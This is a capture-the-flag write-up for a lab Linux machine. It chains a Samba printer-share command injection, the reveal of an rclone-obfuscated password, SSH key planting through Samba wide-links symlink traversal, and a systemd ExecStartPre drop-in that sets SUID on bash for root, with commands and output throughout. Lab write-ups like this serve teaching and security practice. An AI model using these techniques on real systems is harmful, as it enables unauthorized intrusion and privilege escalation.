Overview

The machine starts by enumerating an SMB printer share accessible as guest that is vulnerable to CVE-2026-4480, injecting a payload via print job description to get shell as nobody, then reading an rclone config to find an obfuscated password that decrypts to scott's credentials to get user, abusing a Samba transfer share misconfigured with wide links and force user to plant an SSH key into marcus's home directory via symlink traversal, then writing a systemd drop-in ExecStartPre directive to the smbd service override directory owned by the operators group to set SUID on bash and get shell as root

Enumeration

start with nmap scan

and we got only 3 ports

  • port 22 running SSH
  • port 445,139 running SMB which is unique for Linux boxes

Shares

So I'll start by listing shares using the Guest Account, i even forgot about -N option (didn't deal use smbclient for a while)

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ smbclient -L //10.129.18.25 -U Guest
Password for [WORKGROUP\Guest]:

        Sharename Type Comment
        --------- ---- -------
        HP-Reception Printer Reception printer
        projects Disk Hartley Group Project Files
        transfer Disk Staff file transfer
        IPC$            IPC       IPC Service (Hartley Group Document Services)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.129.18.25 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

accessing each share to get to know the system a little

bash 
(.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ smbclient //10.129.18.25/projects -N
tree connect failed: NT_STATUS_ACCESS_DENIED
(.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ smbclient //10.129.18.25/transfer -N
tree connect failed: NT_STATUS_ACCESS_DENIED
(.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ smbclient //10.129.18.25/IPC$ -N
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_CONNECTION_REFUSED listing \*
smb: \> exit

we can't 3 of the shares

the HR-Reception share which is for a printer is writable as you can see

bash 
.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ smbclient //10.129.18.25/HP-Reception -N
Try "help" to get a list of possible commands.
smb: \> put init.nmap
putting file init.nmap as \init.nmap (2.3 kb/s) (average 2.3 kb/s)
smb: \>

so searching this term writable printer shares samba exploit we'll come across CVE-2026-4480

The Flaw: If the command configuration lacks escaping for shell metacharacters (e.g., lp -t %J %s), a low-privilege authenticated attacker can inject a payload in the print job description

Shell as nobody

there is also a PoC from the Box Creator the TheCyberGeek to exploit this so lets use it and we get a shell back as nobody ss_20260618_072203.png

trying to map the shares we couldn't access by reading the samba config, there is some a vulnerability (we'll get to it later) but we need to be Scott to do it

looking around the system found a directory called offsite-backup which has a configuration file for rclone leaking a password for the user svc-backup of course this user exists on the host backup.hartley-group.internal but this host doesn't exist, so I figured whoever set this account or this configuration file might reused his own password

bash 
nobody@abducted:/opt$ cd offsite-backup
cd offsite-backup
nobody@abducted:/opt/offsite-backup$ ls
ls
rclone.conf
sync.sh
nobody@abducted:/opt/offsite-backup$ cat rclone.conf
cat rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
nobody@abducted:/opt/offsite-backup$ cat sync.sh
cat sync.sh
#!/bin/bash
/usr/bin/rclone --config /opt/offsite-backup/rclone.conf sync /srv/projects offsite:projects

the password in this obfuscated by rclone and there is multiple ways to reverse it, some of those are rclone-unobscure and rclone-dobscure which are just python and go scripts that will do that for you

I don't get why a scripts like this exist, cause we can dobscure using rclone itself directly, but maybe they are made for the system that doesn't have rclone installed, I have it on my system so i will use it

Shell as Scott

using rclone to decrypt the password on my attacker (found out later that it exists on the target also and you can do it from there)

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ rclone reveal 'HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw'
iXzvcib3SrpZ

and we got the password, time to enumerate usernames

only 2 users on the box other than root

plaintext 
nobody@abducted:/var/spool/samba$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
scott:x:1000:1001:Scott Mercer:/home/scott:/bin/bash
marcus:x:1001:1002:Marcus Vale:/home/marcus:/bin/bash

marcus failed but scott worked

plaintext 
scott@abducted:~$ ls
user.txt
scott@abducted:~$ cat user.txt
5b8c83576b489f40a4972762e38c5304
scott@abducted:~$

Lateral to Marcus

one of the good uses of AI, that i genuinely like is reading configuration files for me and explaining stuff so i threw the smb configuration file to Claude and I got this

  • valid users = scott caps authentication to the share, but force user = marcus means smbd does the actual filesystem operations as marcus, regardless of who logged in
  • wide links (per-share) + allow insecure wide links (global) together disable Samba's normal safety check that keeps file access confined to the share root. Once both are on, smbd will happily resolve a symlink that points anywhere on the filesystem

with these three combined, what i got that we can do is

  • we can write a path inside transfer share which we can access now as scott under /srv/transfer
  • this path samba will think it is inside transfer but it is really under marcus, and because the force user = marcus we can read his files and even write to his directory through smb

first I create a symlink locally pointing to marcus home directory and then doing ls in smb listed his files

bash 
scott@abducted:/$ ln -s /home/marcus /srv/transfer/pivot
scott@abducted:/$ smbclient //localhost/transfer -U scott
Password for [WORKGROUP\scott]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun 18 14:41:44 2026
  ..                                  D        0  Thu Jun 18 14:41:44 2026
  pivot D 0 Thu Jun 4 13:47:57 2026

                5768764 blocks of size 1024. 2303172 blocks available
smb: \> cd pivot
smb: \pivot\> ls
  .                                   D        0  Thu Jun  4 13:47:57 2026
  ..                                  D        0  Thu Jun  4 13:41:30 2026
  .profile                            H      807  Sun Mar 31 08:41:03 2024
  .bash_logout                        H      220  Sun Mar 31 08:41:03 2024
  .bash_history                       H        0  Thu Jun  4 13:47:57 2026
  .bashrc                             H     3771  Sun Mar 31 08:41:03 2024
  .cache                             DH        0  Thu Jun  4 13:41:30 2026

                5768764 blocks of size 1024. 2303172 blocks available
smb: \pivot\>

so lets create .ssh directory and drop an ssh key

plaintext 
smb: \pivot\> mkdir .ssh
smb: \pivot\> ls
  .                                   D        0  Thu Jun 18 14:42:37 2026
  ..                                  D        0  Thu Jun  4 13:41:30 2026
  .profile                            H      807  Sun Mar 31 08:41:03 2024
  .bash_logout                        H      220  Sun Mar 31 08:41:03 2024
  .ssh                               DH        0  Thu Jun 18 14:42:37 2026
  .bash_history                       H        0  Thu Jun  4 13:47:57 2026
  .bashrc                             H     3771  Sun Mar 31 08:41:03 2024
  .cache                             DH        0  Thu Jun  4 13:41:30 2026

                5768764 blocks of size 1024. 2303152 blocks available
smb: \pivot\> cd .ssh
smb: \pivot\.ssh\> ls
  .                                   D        0  Thu Jun 18 14:42:37 2026
  ..                                  D        0  Thu Jun 18 14:42:37 2026

                5768764 blocks of size 1024. 2303152 blocks available
smb: \pivot\.ssh\>

first generate a key

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/abducted]
└──╼ [★]$ ssh-keygen -t ed25519 -f ./id
Generating public/private ed25519 key pair.
Enter passphrase for "./id" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id
Your public key has been saved in ./id.pub
The key fingerprint is:
SHA256:qXSQ3ugJW4MyWigkpuMDcEsSnr/OMwyeN3Xq3pbG5LI jimmex@attacker
The key's randomart image is:
+--[ED25519 256]--+
| . |
| ... . |
| +=o o |
| *=.. o + . |
| * =.o * S |
| += o.B B |
| oo+.o X . |
| o+* o.* |
| .o*E=. |
+----[SHA256]-----+

moving authorized keys to the target

bash 
scott@abducted:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJkmGWt4ZIXsZ9nnu4mQlEBiba2pzyk2cN3MLQn/lDB jimmex@attacker' > authorized_keys
scott@abducted:~$ smbclient //localhost/transfer -U scott
Password for [WORKGROUP\scott]:
Try "help" to get a list of possible commands.
smb: \> cd pivot\.ssh\
smb: \pivot\.ssh\> put authorized_keys
putting file authorized_keys as \pivot\.ssh\authorized_keys (47.4 kb/s) (average 47.4 kb/s)
smb: \pivot\.ssh\>

Shell as Marcus

using the key pair with ssh we got a shell as marcus

marcus got one more group

plaintext 
marcus@abducted:~$ whoami
marcus
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

the only thing owned by this group is the smb daemon service daemon directory

bash 
marcus@abducted:~$ find / -group operators 2>/dev/null
/etc/systemd/system/smbd.service.d

the directory itself is empty but we can write over it and because we can do i looked into the smb.service file where i found a lot of directives starting with Exec so maybe we can write one into the daemon directory and restart the daemon but need to know which directive to use

bash 
marcus@abducted:~$ ls -la /etc/systemd/system/smbd.service.d/
total 8
drwxrws--- 2 root operators 4096 Jun 4 13:41 .
drwxr-xr-x 26 root root 4096 Jun 4 13:41 ..
marcus@abducted:~$ cat /etc/systemd/system/smb.service
[Unit]
Description=Samba SMB Daemon
Documentation=man:smbd(8) man:samba(7) man:smb.conf(5)
Wants=network-online.target
After=network.target network-online.target nmb.service winbind.service

[Service]
Type=notify
PIDFile=/run/samba/smbd.pid
LimitNOFILE=16384
EnvironmentFile=-/etc/default/samba
ExecStart=/usr/sbin/smbd --foreground --no-process-group $SMBDOPTIONS
ExecReload=/bin/kill -HUP $MAINPID
LimitCORE=infinity
ExecCondition=/usr/share/samba/is-configured smb

[Install]
WantedBy=multi-user.target
# Upstream name:
Alias=smb.service

found this directive searching for command execution on smb start, this directive runs pre start

the ExecStart directive used to explicitly mention which command we'll use to start the service so I didn't wanna mess with that just incase something went wrong, I don't have to reset the machine

plaintext 
[Service]
ExecStartPre=/path/to/your/startup-script.sh

so lets create script to add SUID

created a scripted and added the configuration

plaintext 
marcus@abducted:~$ echo 'chmod +s /bin/bash' > suid.sh
marcus@abducted:~$ vi /etc/systemd/system/smbd.service.d/suid.conf
marcus@abducted:~$ cat /etc/systemd/system/smbd.service.d/suid.conf
[Service]
ExecStartPre=/home/marcus/suid.sh

now we need to reload the daemon and restart the smbd but as you can see it failed

bash 
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd
Job for smbd.service failed because the control process exited with error code.
See "systemctl status smbd.service" and "journalctl -xeu smbd.service" for details.
marcus@abducted:~$ systemctl restart smb
Job for smbd.service failed because the control process exited with error code.
See "systemctl status smbd.service" and "journalctl -xeu smbd.service" for details.
marcus@abducted:~$ systemctl status smbd.service
× smbd.service - Samba SMB Daemon
     Loaded: loaded (/usr/lib/systemd/system/smbd.service; enabled; preset: enabled)
    Drop-In: /etc/systemd/system/smbd.service.d
             └─suid.conf
     Active: failed (Result: exit-code) since Thu 2026-06-18 15:18:40 UTC; 13s ago
   Duration: 1h 57min 54.469s
       Docs: man:smbd(8)
             man:samba(7)
             man:smb.conf(5)
    Process: 2779 ExecCondition=/usr/share/samba/is-configured smb (code=exited, status=0/SUCCESS)
    Process: 2781 ExecStartPre=/home/marcus/suid.sh (code=exited, status=203/EXEC)
        CPU: 32ms

the reason it failed that i didn't start the suid.sh file with the bash shebang so it couldn't identify it as a script

Shell as root

but once I did that and reloaded the daemon and the service it worked and we got SUID over the bash

bash 
marcus@abducted:~$ vi suid.sh
marcus@abducted:~$ chmod +x /home/marcus/suid.sh
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd.service
marcus@abducted:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash

and we got the root

bash 
marcus@abducted:~$ /bin/bash -p
bash-5.2# whoami
root
bash-5.2# type /root/root.txt
bash: type: /root/root.txt: not found
bash-5.2# cat /root/root.txt
c08907ebe94ca85078b46b09853c8780
bash-5.2#

Resources